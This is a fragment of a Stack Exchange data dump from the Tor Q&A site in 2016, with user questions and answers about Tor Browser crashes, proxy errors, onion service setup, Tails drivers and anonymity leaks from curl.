LastActivityDate="2016-06-01T13:09:54.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10651" PostTypeId="1" CreationDate="2016-06-01T16:10:43.083" Score="1" ViewCount="192" Body="&lt;p&gt;Attempting to use Tor results in either a bouncing Tor icon, or else it does not load. There are no messages. It simply is not working. Tried downloading twice. Mac OS X 10.10.5 Yosemite.&lt;/p&gt;&#xA;" OwnerUserId="13084" LastActivityDate="2016-07-27T22:12:30.763" Title="Tor not loading on OS X" Tags="|mac|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10652" PostTypeId="1" CreationDate="2016-06-01T17:21:17.173" Score="1" ViewCount="1230" Body="&lt;p&gt;Running Windows 10 - 64 bit and have installed the newest version of Tor while using TotalVPN to bypass my ISP, which doesn't let Tor go thru.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor browser comes up fine, but then I plug in &quot;any&quot; .onion address it gives me a message about &quot;Unable o find the proxy server!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have turned off MS Firewall Guest Network as that was showing the TotalVPN connection along with any anti-virus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Know it's simple config issue, but all the posts relating to Proxy Issues don't mention using a VPN or what is needed to get Tor to look directly thru to the VPN Connection for a safer Tor connection and browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13085" LastActivityDate="2016-11-13T03:06:49.943" Title="Unable to Find Proxy Server" Tags="|proxy|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10656" PostTypeId="1" CreationDate="2016-06-02T07:03:00.583" Score="1" ViewCount="253" Body="&lt;p&gt;hi i was wondering what best security settings you guys could share and how do i setup for my webserver. running window 2008 r2. i do not want any leaking if possible. i understand windows vps is not a good choice. but at least &quot;Try&quot; to have a reasonable defense. how do i know whether my web server is not leaking information about you, your computer, or your location. For example, readers can probably determine whether it's thttpd or Apache, and learn something about your operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am using port 8080. is it good? or is it too common?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the funny question is why am i still able to access my &lt;a href=&quot;http://localhost:8080&quot; rel=&quot;nofollow&quot;&gt;http://localhost:8080&lt;/a&gt; on clearnet?&lt;/p&gt;&#xA;" OwnerUserId="13091" LastActivityDate="2016-06-02T21:19:50.820" Title="setup done on my windows vps for my .onion website" Tags="|security|" AnswerCount="1" CommentCount="0" ClosedDate="2016-06-07T14:04:56.787" ContentLicense="CC BY-SA 3.0" />
  <row Id="10658" PostTypeId="1" AcceptedAnswerId="10663" CreationDate="2016-06-02T14:16:47.117" Score="1" ViewCount="3091" Body="&lt;p&gt;I &lt;a href=&quot;https://unix.stackexchange.com/questions/214326/install-wifi-driver-for-macbook-11-1-under-tails/287218#287218&quot;&gt;managed&lt;/a&gt; to install wl driver on Tails OS and wanted to make it load at boot automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve that, I configured the persistent volume to save APT PACKAGES and APT LISTS. Then I edited the file &lt;code&gt;/live/persistence/TailsData_unlocked/live-additional-software.conf&lt;/code&gt; to include those packages (don't know if they are all needed I just took the packages installed when running &lt;code&gt;apt-get install linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,')&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cpp-4.8&#xA;gcc-4.8&#xA;gcc-4.8-base&#xA;libasan0&#xA;libgcc-4.8-dev&#xA;linux-compiler-gcc-4.8-x86&#xA;linux-headers-3.16.0-4-amd64&#xA;linux headers-3.16.0-4-common&#xA;linux-headers-amd64&#xA;linux-kbuild-3.16&#xA;broadcom-sta-dkms&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So when I start Tails OS with persistent volume ON &lt;strong&gt;AND&lt;/strong&gt; spoofed mac address disabled I can use the macbook wifi. But wl module has to be loaded with modprobe manually which means I need to &lt;strong&gt;enable sudo&lt;/strong&gt; when booting Tails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this a safe practice in regard to privacy and security ?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does the wl driver in itself can compromise Tails security and privacy ?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-04-13T12:37:13.493" LastActivityDate="2016-06-03T22:51:09.033" Title="Is loading wl driver for macbook wifi at start up safe on Tails OS?" Tags="|security|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10659" PostTypeId="1" CreationDate="2016-06-02T14:46:16.327" Score="1" ViewCount="14" Body="&lt;p&gt;I have a mac (OSX yosemite) and downloaded the last version of TOR 6.0. Usually, when there's a new version, all my preferences, settings and bookmarks remain in the new one. But this time, everything disapeared, and I used my back up to find the previous version, with all my preferences.&#xA;It's such a job to do it all over again!&#xA;did that happen to anyone else? how can I download the 6.0 version of TOR and still keep all that stuff?&#xA;thanks for your help............&lt;/p&gt;&#xA;" OwnerUserId="13097" LastActivityDate="2016-06-02T14:46:16.327" Title="all my settings and preferences disapear in TOR 6.0" Tags="|mac|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10661" PostTypeId="2" ParentId="10656" CreationDate="2016-06-02T21:19:50.820" Score="1" Body="&lt;p&gt;Some points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The port you're running it on is irrelevant for most cases but in the case of apache there are bugs you can use to reveal the &quot;real&quot; port it's listening on. What is &lt;em&gt;very&lt;/em&gt; important is that the port is not accessible from the outside world. I have seen masscans of the internet that try to cross-request .onion addresses by connecting to the external IP and sending an HTTP request for the .onion vhost. This would link a real IP to the site. You should &lt;em&gt;only&lt;/em&gt; listen on the localhost port, or some purely internal facing port is you have some kind of an internal network. It should never be internet routable if the onion is there to protect the server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are numerous things that can reveal things about the server that you're running, not all of them obvious and not all of them fixable. I would strongly recommend &lt;em&gt;against&lt;/em&gt; running Windows, you &lt;em&gt;should&lt;/em&gt; run a ubuntu or debian server with nginx. There are a few reasons why:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows has no automated update mechanisms, keeping your software up to date and patched will be not a fun experience, this will both make your server vulnerable and more obviously different from any others.&lt;/li&gt;&#xA;&lt;li&gt;Ubuntu and Debian are amongst the most common distros in publicly known onion websites, you will have a bigger crowd to hide in. They are well tested, they have means to apply automatic updates.&lt;/li&gt;&#xA;&lt;li&gt;If you're running Ubuntu or Debian your main httpd choices are nginx and apache and &lt;em&gt;never&lt;/em&gt; apache. Lighter weight httpds are available and are probably file if you just want to serve static files but are less well tested.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.thecthulhu.com&quot; rel=&quot;nofollow&quot;&gt;Cthulhu&lt;/a&gt; has written &lt;a href=&quot;https://www.thecthulhu.com/setting-up-a-hidden-service-with-nginx/&quot; rel=&quot;nofollow&quot;&gt;a guide for setting up nginx on debian with a view to use in onion services&lt;/a&gt;, it is targeted at wheezy (the last stable version of Debian) but it should be applicable to the current stable Debian release.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So remember:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Never Windows&lt;/li&gt;&#xA;&lt;li&gt;Never Apache&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-02T21:19:50.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10663" PostTypeId="2" ParentId="10658" CreationDate="2016-06-02T23:12:26.230" Score="2" Body="&lt;p&gt;&lt;em&gt;&quot;It's complicated&quot;&lt;/em&gt; - The real answer to all infosec question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, having root acccess for every single boot of tails is probably something you should avoid. A root compromise can do some really ugly things, like taint your tails install forever. Having a path for the amnesia user to become root is something that you should definitely try to avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extra installed packages &lt;em&gt;is&lt;/em&gt; a fingerprint but anyone who was in a position to find out what packages you have installed could do worse things, the main issue is the root/sudo access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;https://www.reddit.com/r/tails/comments/25vg4f/wireless_problems_with_macbook_air/&quot; rel=&quot;nofollow&quot;&gt;reddit thread&lt;/a&gt; with a similar looking issue with no definite solution listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the best solution may be to use a linux-compatible USB wireless device instead of builtin wireless card as it seems to be &lt;a href=&quot;https://tails.boum.org/support/known_issues/index.en.html#index20h2&quot; rel=&quot;nofollow&quot;&gt;explicitly recommended against by Tails&lt;/a&gt; to perform the steps you are. Such is the cost of broadcom's so-called &lt;em&gt;intellectual property&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-03T22:51:09.033" LastActivityDate="2016-06-03T22:51:09.033" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10664" PostTypeId="1" AcceptedAnswerId="10668" CreationDate="2016-06-02T23:54:08.613" Score="4" ViewCount="8671" Body="&lt;p&gt;I've a program that with an algorithm generate link in .onion.&#xA;Some link runs, some no.&#xA;For check if every link runs, I would ask this:&#xA;&lt;strong&gt;Is it possible to ping a link .onion?&lt;/strong&gt;&#xA;If yes, how to Can I do it?&lt;/p&gt;&#xA;" OwnerUserId="13103" LastEditorUserId="13766" LastEditDate="2017-02-14T09:53:58.993" LastActivityDate="2023-02-13T13:36:54.170" Title="Is it possible to ping .onion?" Tags="|onion-routing|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10665" PostTypeId="1" CreationDate="2016-06-03T01:25:19.440" Score="3" ViewCount="3332" Body="&lt;p&gt;What information about me (not the exit node) is revealed when a request originating from cURL / wget is proxied through Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;curl &lt;a href=&quot;https://example.com/&quot; rel=&quot;nofollow&quot;&gt;https://example.com/&lt;/a&gt; --socks5 localhost:9150 -H &quot;User-Agent: &quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've looked through the headers (with no obvious personally identifiable information present), but I fear there may be some &quot;hidden&quot; information that cannot be seen (such as the IP address)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Tags may not be accurate&lt;/p&gt;&#xA;" OwnerUserId="13104" LastActivityDate="2016-06-03T02:14:38.653" Title="cURL and wget with Tor" Tags="|socks|proxy|information-leaks|proxy-leaks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10666" PostTypeId="1" CreationDate="2016-06-03T01:33:45.460" Score="3" ViewCount="32271" Body="&lt;p&gt;Some websites require JavaScript to be enabled. How can I enable it in Orfox? (The option was under Settings in Orweb.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13105" LastEditorUserId="1174" LastEditDate="2016-06-03T15:19:06.233" LastActivityDate="2016-06-03T15:19:06.233" Title="Enabling JavaScript in Orfox" Tags="|configuration|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10667" PostTypeId="2" ParentId="10665" CreationDate="2016-06-03T02:14:38.653" Score="2" Body="&lt;p&gt;They will know you're (likely) using curl, similarly they might know you're using wget or pythons urllib based on the behaviour and other headers. They might be able to guess at other aspects of the system, sometimes information like architecture can be sent in headers (x86_64, i386, arm, ..., etc), I've seen kernel versions and linux distro reported in user-agents too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best option is to have a good anonymity set, e.g. to use curl from a debian jessie system and not try to hide the user-agent (this is something unique that you are doing, therefor making you less anonymous). This will give you the biggest crowd to hide in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The requests themselves will not leak your own IP, with the exception of non-http protocols, for example if you try to use &lt;a href=&quot;https://en.wikipedia.org/wiki/File_Transfer_Protocol#Communication_and_data_transfer&quot; rel=&quot;nofollow&quot;&gt;ftp &lt;em&gt;active&lt;/em&gt; mode&lt;/a&gt; you will send your IP address to the remote host as part of the normal protocol.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-03T02:14:38.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10668" PostTypeId="2" ParentId="10664" CreationDate="2016-06-03T02:35:44.517" Score="4" Body="&lt;p&gt;&lt;code&gt;ping&lt;/code&gt;, assuming you're talking about the *nix command, is ICMP. Tor is exclusively TCP in the requests carried across the network. You cannot &quot;ping&quot; an onion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know if an onion is online, you can try to connect to it. A more heuristic method might be to &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n1292&quot; rel=&quot;nofollow&quot;&gt;fetch&lt;/a&gt; the onion's &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n2836&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;descriptor&lt;/code&gt;&lt;/a&gt; and see &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec.txt#n303&quot; rel=&quot;nofollow&quot;&gt;when it was published&lt;/a&gt; but that doesn't mean it's online, or ever was, just that it published a descriptor to the HSDir at some point during that hour.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-03T02:35:44.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10669" PostTypeId="2" ParentId="10666" CreationDate="2016-06-03T03:37:48.070" Score="3" Body="&lt;p&gt;Menu -&gt; NoScript -&gt; Tick the boxes for the sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;or&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu -&gt; Tools -&gt; Add-ons -&gt; NoScript -&gt; Enable/Disable/Configure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Beware&lt;/strong&gt;: whitelists and user-specific configurations are probably fingerprintable and enabling javascript at all might expose functionality that isn't fully protected against yet. Orfox is still not fully implementing the Tor Browser design spec!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-03T03:37:48.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10670" PostTypeId="2" ParentId="10644" CreationDate="2016-06-03T04:03:24.070" Score="1" Body="&lt;p&gt;I turns out that a folder named &lt;strong&gt;TorBrowser-Data&lt;/strong&gt; is created in the &lt;em&gt;same folder&lt;/em&gt; containing the Tor6 app (not sure why I didn't notice that before).  It not only contains the torrc file but also the profile.  So now that satisfies most of my concerns in that the both the torrc and the profile are no longer within the app bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course while this is no problem for me on Snow Leopard it may be problematic for 10.11 if the user places the Tor6 app in /Applications.  A better location for TorBrowser-Data IMO should be in, say, ~/Library/Application Support, i.e., the same place Firefox places its Firefox folder which contains its profiles.  But then if that were done a better name for &quot;TorBrowser-Data&quot; should be just &quot;Tor&quot;. :-)&lt;/p&gt;&#xA;" OwnerUserId="13076" LastActivityDate="2016-06-03T04:03:24.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10672" PostTypeId="2" ParentId="1330" CreationDate="2016-06-03T13:04:34.967" Score="1" Body="&lt;p&gt;The existing answers cover the issue of cross-contamination between your internet use through Tor and outside it. It is definitely important that you need to be careful to not e.g. paste links obtained from clearnet into Tor Browser and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even with that care, your ISP (and anyone monitoring them) can still determine that you are &lt;em&gt;using&lt;/em&gt; Tor, and that information could be correlated with monitored activity inside Tor to confirm a suspicion, if someone is looking. This is how &lt;a href=&quot;http://arstechnica.com/tech-policy/2012/03/stakeout-how-the-fbi-tracked-and-busted-a-chicago-anon/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the identity of Jeremy Hammond was confirmed&lt;/a&gt;. A common method of disconnecting Tor usage from a personal identity is to connect to Tor from a public place&lt;sup&gt;1&lt;/sup&gt;, and it is here that additional care must be taken: if you simultaneously connect to personally-identifying services over the clearnet while there, all benefit of the public place is lost. Note that this might not even be a conscious act like browsing Facebook or Stack Exchange; your email client automatically checking for new mail would be sufficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt; if your threat model involves evading the FBI, don't mix Torified-traffic and clearnet activity. (And if your threat model involves a larger adversary, &lt;a href=&quot;https://tor.stackexchange.com/questions/1684/if-all-network-traffic-is-being-monitored-will-tor-still-be-effective-at-anonym&quot;&gt;even that may not help&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;sup&gt;1&lt;/sup&gt;This assumes the public place cannot itself be correlated to the personal identity either historically or during the actual time-period of use, which is itself hard to ensure. Humans easily fall into existing patterns, even if they are actively trying to avoid them.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="1174" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-06-03T13:11:32.860" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10673" PostTypeId="1" CreationDate="2016-06-03T17:23:53.290" Score="2" ViewCount="186" Body="&lt;p&gt;Tor [network] encrypts data itself? Or does it only Tor Browser Bundle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I use an external client to connect to the Tor network and  direct all traffic over Tor and use a different browser, such as, Chromium - in this case traffic will be still encrypted?&lt;/p&gt;&#xA;" OwnerUserId="12829" LastActivityDate="2016-06-03T18:01:53.387" Title="Tor and encryption" Tags="|configuration|network-configuration|encryption|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2016-06-07T14:04:28.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="10674" PostTypeId="2" ParentId="10673" CreationDate="2016-06-03T18:01:53.387" Score="2" Body="&lt;p&gt;If you are using an external client (such as an &lt;a href=&quot;https://learn.adafruit.com/onion-pi/overview&quot; rel=&quot;nofollow&quot;&gt;onion pi&lt;/a&gt;) and then connect to the internet over that client, then yes you can use any browser you want and your traffic will be encrypted and sent over Tor.  There are some drawbacks in regards to anonymity when doing this that the Tor Browser Bundle takes care of for you.  &lt;/p&gt;&#xA;" OwnerUserId="12194" LastActivityDate="2016-06-03T18:01:53.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10676" PostTypeId="2" ParentId="10440" CreationDate="2016-06-03T22:41:33.697" Score="0" Body="&lt;p&gt;I had this problem on my non-admin account after I updated today.  However, it did work on the admin account.  I fixed it by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MacBook:~ WGroleau$ rm -rf bin/TorBrowse*&#xA;MacBook:~ WGroleau$ rm -rf Downloads/Tor*&#xA;MacBook:~ WGroleau$ rm -rf &quot;Library/Application Support/TorBrowser-Data&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7011" LastActivityDate="2016-06-03T22:41:33.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10677" PostTypeId="1" CreationDate="2016-06-04T04:34:10.107" Score="1" ViewCount="607" Body="&lt;p&gt;I recently converted my old netbook to android and of course I have installed orbot 15.0.1-RC-3-PIE ( I live in China ... )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to add bridges ( same way I do on my phone ) but the bootstrap get stuck at 5%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the main problem looks this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WARN: Could not launch managed proxy executable at `/data/data/org.torproject.android/app_bin/obfs4proxy` (No such file or directory')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess there are still not many Android x86 devices ... so I wonder if orbot is compatible with this architecture&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I fill a bug ?&lt;/p&gt;&#xA;" OwnerUserId="3225" LastActivityDate="2016-06-04T04:34:10.107" Title="Orbot on Android x86 - Bridge not working?" Tags="|orbot|android|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10678" PostTypeId="1" CreationDate="2016-06-04T07:58:51.177" Score="1" ViewCount="29" Body="&lt;p&gt;Tor failed to establish a Tor network connection:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;06/03/2016 03:59:11.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 03:59:11.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 03:59:11.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 03:59:11.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 03:59:12.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;06/03/2016 03:59:12.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;06/03/2016 03:59:13.600 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;06/03/2016 03:59:13.900 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;06/03/2016 03:59:14.200 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;06/03/2016 03:59:15.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;06/03/2016 03:59:19.800 [WARN] Our clock is 1 days, 3 hours, 0 minutes behind the time published in the consensus network status document (2016-06-04 07:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;06/03/2016 03:59:19.800 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;06/03/2016 03:59:20.600 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;06/03/2016 03:59:47.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 03:59:47.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 03:59:47.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 03:59:48.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 03:59:48.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 03:59:48.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 03:59:48.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 04:01:17.200 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;06/03/2016 04:06:21.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;06/03/2016 04:16:32.100 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;06/03/2016 04:25:15.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 04:25:15.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 04:25:15.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 04:25:15.500 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;06/03/2016 04:25:16.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 04:25:16.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 04:25:16.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 04:25:16.600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 04:25:18.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 04:25:18.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 04:25:18.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 04:25:18.500 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;06/03/2016 04:28:27.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 04:28:27.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 04:28:27.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 04:28:27.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 04:28:29.300 [NOTICE] new bridge descriptor 'Unnamed' (fresh): $BF0103DFB2BD2C690E0DB2CA472989ADA4A79826~Unnamed at 24.52.20.214 &#xA;06/03/2016 04:28:29.300 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;06/03/2016 04:28:30.100 [NOTICE] new bridge descriptor 'Unnamed' (fresh): $C3EFF90B2703D5DA4E49BD2002268DE2B0E7E0EF~Unnamed at 37.218.246.75 &#xA;06/03/2016 04:28:30.100 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;06/03/2016 04:36:37.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 04:36:37.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;06/03/2016 04:36:37.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;06/03/2016 04:36:38.500 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="13113" LastActivityDate="2016-06-04T15:14:51.313" Title="How to connect to a Tor network?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="1" ClosedDate="2016-06-07T14:06:03.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="10679" PostTypeId="1" CreationDate="2016-06-04T11:24:25.420" Score="1" ViewCount="330" Body="&lt;p&gt;After automatically updating to TOR 6 on Windows 10, I cannot now run it.  The TOR browser process starts then dies with no error reports.  I have tried new installs but all do the same thing.  I have tried running without Firewall and Virus Scanner but the result is the same.  Given that I have not changed anything on my PC, I can only suspect that the latest version has a compatibility issue.  Is there any way I can revert to an earlier version?  Getting desperate now as I have tried everything I could find to sort this.&lt;/p&gt;&#xA;" OwnerUserId="13116" LastActivityDate="2016-06-09T19:13:25.107" Title="TOR 6 Not Working on Windows 10 32 Bit" Tags="|windows|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10682" PostTypeId="2" ParentId="2183" CreationDate="2016-06-04T12:42:17.867" Score="3" Body="&lt;p&gt;It is now possible to create ephemeral onion services via the control port using the &lt;code&gt;ADD_ONION&lt;/code&gt; and &lt;code&gt;DEL_ONION&lt;/code&gt; commands (added in Tor 0.2.7.1-alpha).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a new onion service (the address and private key are returned to you):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADD_ONION NEW:BEST Port=80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return the address (as &lt;code&gt;exampleonion1234&lt;/code&gt; without the trailing &lt;code&gt;.onion&lt;/code&gt;) and private key (as a string).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To shut down a currently-running onion service:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEL_ONION exampleonion1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To restart a previously-created onion service:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADD_ONION [PrivateKeyString] Port=80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See sections 3.27 and 3.28 of &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow&quot;&gt;control-spec.txt&lt;/a&gt; for all options.&lt;/p&gt;&#xA;" OwnerUserId="1174" LastActivityDate="2016-06-04T12:42:17.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
